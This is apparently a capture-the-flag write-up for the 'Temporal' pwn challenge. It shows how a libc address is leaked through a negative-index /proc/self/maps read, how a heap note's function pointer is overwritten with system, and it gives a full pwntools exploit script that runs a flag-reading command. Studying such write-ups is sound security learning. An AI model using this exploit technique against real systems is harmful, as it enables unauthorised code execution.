Temporal
Temporal
Platform: bluehensctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-22 | Status: Solved Techniques: function_pointer_hijack, proc_maps_libc_leak, system_command_execution
Summary
Task: a note manager stores a callable function pointer inside each heap note object and exposes hidden menu actions. Solution: leak libc through a negative-index /proc/self/maps read, overwrite the note function pointer with system, and dispatch the note to execute a flag-reading command.
Temporal — BlueHens CTF 2026
Description
Pwn challenge "Temporal" from BlueHens CTF 2026.
We are given a note manager binary. The goal is to get code execution and print the flag.
Analysis
Each note is a 0x210-byte structure:
c read-only • copy allowedstruct note { char data[0x200]; void (*fn)(struct note *); // +0x200 int id; // +0x208 int alive; // +0x20c };
Two hidden menu options make exploitation straightforward:
- Option 5 reads
/proc/self/mapsand accepts a negative note id, which gives a libc base leak. - Option 8 calls
raw_write_note(note_id)and performsread(0, notes[note_id], 0x210), allowing a full overwrite of the note object, including its function pointer.
The normal dispatch path calls dispatch_note(note_id), which invokes the stored function pointer with the note pointer as its first argument. That means if we place a command string in data and replace the function pointer with system, the program will effectively execute system(note->data).
Solution
Exploit steps:
- Use hidden option
5with note id-1to print/proc/self/mapsand parse the libc base. - Create any valid note.
- Use hidden option
8to overwrite the whole note object. - Put the flag-reading shell command into
data. - Write
libc.symbols["system"]at offset0x200. - Trigger option
3sodispatch_note()callssystem(note->data).
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import re exe = context.binary = ELF("./temporal_patched", checksec=False) libc = ELF("./libc.so.6", checksec=False) HOST = args.HOST or "localhost" PORT = int(args.PORT or 31337) cmd = b"cat /flag 2>/dev/null || cat flag 2>/dev/null || cat flag.txt 2>/dev/null || cat /app/flag 2>/dev/null || cat /home/*/flag* 2>/dev/null" def start(): if args.REMOTE: return remote(HOST, PORT) return process(exe.path) def choice(io, n): io.sendlineafter(b"> ", str(n).encode()) def create(io, idx=0, data=b"A"): choice(io, 1) io.sendlineafter(b"note id: ", str(idx).encode()) io.sendafter(b"data: ", data) def leak_libc(io): choice(io, 5) io.sendlineafter(b"note id: ", b"-1") data = io.recvuntil(b"\n\n", drop=False).decode(errors="ignore") m = re.search(r"([0-9a-f]+)-[0-9a-f]+\s+r..p\s+[0-9a-f]+\s+.*libc", data) if not m: m = re.search(r"([0-9a-f]+)-[0-9a-f]+.*?/libc", data) assert m, "failed to find libc base" return int(m.group(1), 16) def raw_write(io, idx, payload): assert len(payload) == 0x210 choice(io, 8) io.sendlineafter(b"note id: ", str(idx).encode()) io.send(payload) def dispatch(io, idx): choice(io, 3) io.sendlineafter(b"note id: ", str(idx).encode()) io = start() libc.address = leak_libc(io) log.info(f"libc base = {hex(libc.address)}") create(io, 0, b"AAAA") payload = flat( cmd.ljust(0x200, b"\x00"), libc.sym.system, 0, 1, ) raw_write(io, 0, payload) dispatch(io, 0) io.interactive()